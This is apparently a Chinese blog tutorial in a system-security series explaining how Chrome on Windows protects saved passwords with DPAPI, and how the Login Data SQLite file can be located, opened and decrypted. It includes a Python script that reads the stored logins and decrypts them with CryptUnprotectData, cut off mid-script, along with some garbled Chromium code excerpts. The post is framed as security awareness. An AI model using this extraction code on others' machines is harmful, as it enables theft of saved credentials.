[系统安全] 十五.Chrome密码保存功能渗透解析、Chrome蓝屏漏洞及安全建议
初来知乎分享,还请各位大佬多多包涵。 系统安全系列作者将深入研究恶意样本分析、逆向分析、攻防实战和Windows漏洞防护等,通过在线笔记和实践操作的形式分享与博友们学习,希望能与您一起进步。
作者前面详细介绍了熊猫烧香病毒的逆向分析过程。这篇文章换个主题继续介绍,本文将对Chrome浏览器保留密码的功能进行渗透解析;同时复现一个最近流行的漏洞,通过Chrome浏览器实现Win10蓝屏;最后介绍音乐软件的加密功能及漏洞复现。这些基础性知识不仅和系统安全相关,同样与我们身边的APP、常用软件及系统紧密联系,希望这些知识对您有所帮助,更希望大家提高安全意识,开发厂商进行相关的漏洞修补,安全保障任重道远。
从2019年7月开始,我来到了一个陌生的专业——网络空间安全。初入安全领域,是非常痛苦和难受的,要学的东西太多、涉及面太广,但好在自己通过分享100篇“网络安全自学”系列文章,艰难前行着。感恩这一年相识、相知、相趣的安全大佬和朋友们,如果写得不好或不足之处,还请大家海涵!接下来我将开启新的安全系列,叫“系统安全”,也是免费的100篇文章,作者将更加深入的去研究恶意样本分析、逆向分析、内网渗透、网络攻防实战等,也将通过在线笔记和实践操作的形式分享与博友们学习,希望能与您一起进步,加油~
话不多说,让我们开始新的征程吧!您的点赞、评论、收藏将是对我最大的支持,感恩安全路上一路前行,如果有写得不好或侵权的地方,可以联系我删除。基础性文章,希望对您有所帮助,作者目的是与安全人共同进步,加油!
文章目录:
作者的github资源:
- 逆向分析: https:// github.com/eastmountyxz /SystemSecurity-ReverseAnalysis
- 网络安全: https:// github.com/eastmountyxz /NetworkSecuritySelf-study
前文分析:
- [系统安全] 一.什么是逆向分析、逆向分析基础及经典扫雷游戏逆向
- [系统安全] 二.如何学好逆向分析及吕布传游戏逆向案例
- [系统安全] 三.IDA Pro反汇编工具初识及逆向工程解密实战
- [系统安全] 四.OllyDbg动态分析工具基础用法及Crakeme逆向破解
- [系统安全] 五.OllyDbg和Cheat Engine工具逆向分析植物大战僵尸游戏
- [系统安全] 六.逆向分析之条件语句和循环语句源码还原及流程控制
- [系统安全] 七.逆向分析之PE病毒原理、C++实现文件加解密及OllyDbg逆向
- [系统安全] 八.Windows漏洞利用之CVE-2019-0708复现及防御详解
- [系统安全] 九.Windows漏洞利用之MS08-067远程代码执行漏洞复现及深度防御
- [系统安全] 十.Windows漏洞利用之SMBv3服务远程代码执行漏洞(CVE-2020-0796)复现
- [系统安全] 十一.那些年的熊猫烧香及PE病毒行为机理分析
- [系统安全] 十二.熊猫烧香病毒IDA和OD逆向分析(上)病毒初始化
- [系统安全] 十三.熊猫烧香病毒IDA和OD逆向分析(中)病毒释放机理
- [系统安全] 十四.熊猫烧香病毒IDA和OD逆向分析--病毒释放过程(下)
- [系统安全] 十五.Chrome密码保存功能渗透解析、Chrome蓝屏漏洞及安全建议
声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。该样本不会分享给大家,分析工具会分享。(参考文献见后)
一.Chrome浏览器密码保存功能解析
1.Chrome密码保存功能
大家可能都见过浏览器保存密码的功能,那么,Chrome浏览器是如何存储这些用户名和密码呢?它是否也不安全呢?我们以Chrome浏览器为例进行安全测试知识普及。
首先,打开密码管理器。设置->高级->密码,或者输入:
- chrome://settings/passwords
然后,我们查看某个网站的密码。所幸,Chrome浏览器对显示的密码进行了一道验证,需要输入正确的电脑账户密码才能查看,如下图所示。
-
为了执行加密(在Windows操作系统上),Chrome使用了Windows提供的API,该API只允许用于加密密码的Windows用户账户去解密已加密的数据。所以基本上来说,你的主密码就是你的Windows账户密码。所以,只要你登录了自己的Windows账号,Chrome就可以解密加密数据。
最后,输出Windows账户正确显示对应网站的密码。
安全普及:
由于Windows账户密码是一个常量,并不是只有Chrome才能读取“主密码”,其他外部工具也能获取加密数据,同样也可以解密加密数据。比如使用NirSoft的免费工具ChromePass(NirSoft官方下载) ,就可以看得你已保存的密码数据,并且可以轻松导出为文本文件。 既然ChromePass可以读取加密的密码数据,那么恶意软件也是能读取的。
注意,当ChromePass.exe被上传至VirusTotal 时,超过半数的反病毒(AV)引擎会标记这一行为是危险级别。不过微软的Security Essentials并没有把这一行为标记为危险。
假设你的电脑被盗,小偷重设了Windows账号密码。如果他们随后尝试在Chrome中查看你的密码,或用ChromePass来查看,密码数据都是不可用。原因很简单,因为“主密码”并不匹配,所以解密失败。此外,如果有人把那个SQLite数据库文件复制走了,并尝试在另外一台电脑上打开,ChromePass也将显示空密码,原因同上。
-
综合结论:Chrome浏览器中已保存密码的安全性一定程度上取决于用户本身。
2.密码元素定位
首先,我们在Web渗透或Python网络爬虫中,都知道分析网页DOM树结构可以定位指定元素。那么,作者能不能修改input密码的属性,让它显示密码呢?如下图所示:
再次幸运,Chrome应该已经解决了该漏洞,显示空白。
3.密码提取复现
接下来,作者尝试获取本地Chrome浏览器登录的账户信息。
第一步,找到密码存储的位置,文件或者是注册表。
这个时候需要开启监控工具Process Monitor(后面的文章会详细介绍),查看打开注册表和文件操作信息。然后到chrome密码管理界面,随便删除一条记录,然后看看chrome本身对哪些文件或者注册表进行了修改。推荐TK13大神文章:
同样,可以直接寻找文件,通常用户名文件的存储路径为:
- C:\Users\用户名\AppData\Local\Google\Chrome\User Data\Default
第二步,找到如下图所示的文件——Login Data 。
第三步,打开这个文件,还好这个文件是加密的,而不是明文存储。
虽然该文件加密了,但是可以看到它是 SQLite format 3 的格式。接着通过工具读取该数据。这里使用 Navicat Premium工具。
Navicat premium是一款数据库管理工具,是一个可多重连线资料库的管理工具,它可以让你以单一程式同时连线到 MySQL、SQLite、Oracle 及 PostgreSQL 资料库,让管理不同类型的资料库更加的方便。
第四步,打开Navicat premium,新建连接。
第五步,输入连接名如“test0803”,并导入本地的“Login Data”数据。
第六步,打开之后在“main”数据库中包含了三张表,其中logins为登录表。
新版本表增加如下图所示:
第七步,打开如下所示,比如163邮箱的用户名为我的电话,密码是加密的。
第八步,解密思想。
想要解密一个加密算法是很难的。这学习TK13大神的文章,了解到Chrome开源的加密函数CryptProtectData和CryptUnprotectData。这对加解密函数非常特别,调用的时候会去验证本地登录身份,这也就是为什么别人的那个密码文档不能直接拷贝到我们自己chrome相关文件夹下去看的原因了。
接下来是代码实现,找到开源的Sqllite3库,把数据库解析出来,然后得到密码的加密数据,用CryptUnprotectData解密。注意,如果chrome开启的时候直接对这个数据库文件操作会失败,建议每次操作先把文件拷贝出来再处理。
第九步,使用AnalysisChromeLogin.exe工具进行解密。将Login Data放置到同一个文件夹下运行即可。
渗透结论:是不是很可怕,所以个人电脑大家一定要保护好开机密码,别轻易让坏人使用。后续尝试破壳看看这个EXE程序源代码是如何解析的。
4.Chrome浏览器密码存储机制
下面分享N1ckw0rm大神讲解的Chrome浏览器密码存储机制。谷歌浏览器加密后的密钥存储于%APPDATA%…\Local\Google\ Chrome\User Data\Default\Login Data 下的一个SQLite数据库中。那么他是如何加密的呢,通过开源的Chromium,我们来一探究竟:
首先,我们作为用户登录一个网站时,会在表单提交Username以及Password相应的值,Chrome会首先判断此次登录是否是一次成功的登录,部分判断代码如下:
Provisional_save_manager_->SubmitPassed();
if (provisional_save_manager_->HasGeneratedPassword())
UMA_HISTOGRAM_COUNTS(“PasswordGeneration.Submitted”, 1);
If (provisional_save_manager_->IsNewLogin() && !provisional_save_manager_->HasGeneratedPassword()){
Delegate_->AddSavePasswordInfoBarIfPermitted(
Provisional_save_manager_.release());
} else {
provisional_save_manager_->Save();
Provisional_save_manager_.reset();
当我们登录成功时,并且使用的是一套新的证书(也就是说是xx次登录该网站),Chrome就会询问我们是否需要记住密码。
那么登录成功后,密码是如何被Chrome存储的呢?答案在EncryptedString函数,通过调用EncryptString16函数,代码如下:
Bool Encrypt::EncryptString(const std::string& plaintext,std::string* ciphertext) {
DATA_BLOB input;
Input.pbData = static_cast<DWORD>(plaintext.length());
DATA_BLOB output;
BOOL result = CryptProtectData(&input, L””,NULL, NULL, NULL, 0,&output);
if (!result)
Return false;
//复制操作
Ciphertext->assign(reinterpret_cast<std::string::value_type*>(output.pbData);
LocalFree(output.pbData);
Return true;
}
代码利用了Widows API函数CryptProtectData(前面提到过)来加密。当我们拥有证书时,密码就会被回复给我们使用。在我们得到服务器权限后,证书的问题已经不用考虑了,所以接下来就可以获得这些密码。
下面通过Python代码实现从环境变量中读取Login Data文件的数据,再获取用户名和密码,并将接收的结果通过win32crypt.CryptUnprotectData解密密码。
google_path = r’ Google\Chrome\User Data\Default\Login Data’
file_path = os.path.join(os.environ[‘LOCALAPPDATA’],google_path)
#Login Data文件可以利用python中的sqlite3库来操作。
conn = sqlite3.connect(file_path)
for row in conn.execute('select username_value, password_value, signon_realm from logins'):
#利用Win32crpt.CryptUnprotectData来对通过加密的密码进行解密操作。
cursor = conn.cursor()
cursor.execute('select username_value, password_value, signon_realm from logins')
#接收全部返回结果
#利用win32crypt.CryptUnprotectData解密后,通过输出passwd这个元组中内容,获取Chrome浏览器存储的密码
for data in cursor.fetchall():
passwd = win32crypt.CryptUnprotectData(data[1],None,None,None,0)
用CryptUnprotectData函数解密,与之对应的是前面提到的CryptProtectData,理论上来说CryptProtectData加密的文本内容,都可以通过CryptUnprotectData函数来解密。对其他服务的解密方式,大家可以自行尝试。
完整的脚本代码如下所示:
#coding:utf8
import os, sys
import sqlite3
import win32crypt
google_path = r'Google\Chrome\User Data\Default\Login Data'
db_file_path = os.path.join(os.environ['LOCALAPPDATA'],google_path)
conn = sqlite3.connect(db_file_path)
cursor = conn.cursor()
cursor.execute('select username_value, password_value, signon_realm from logins')
#接收全部返回结果
for data in cursor.fetchall():
passwd = win32crypt.CryptUnprotectData(data[1],None,None,None,0)
if passwd: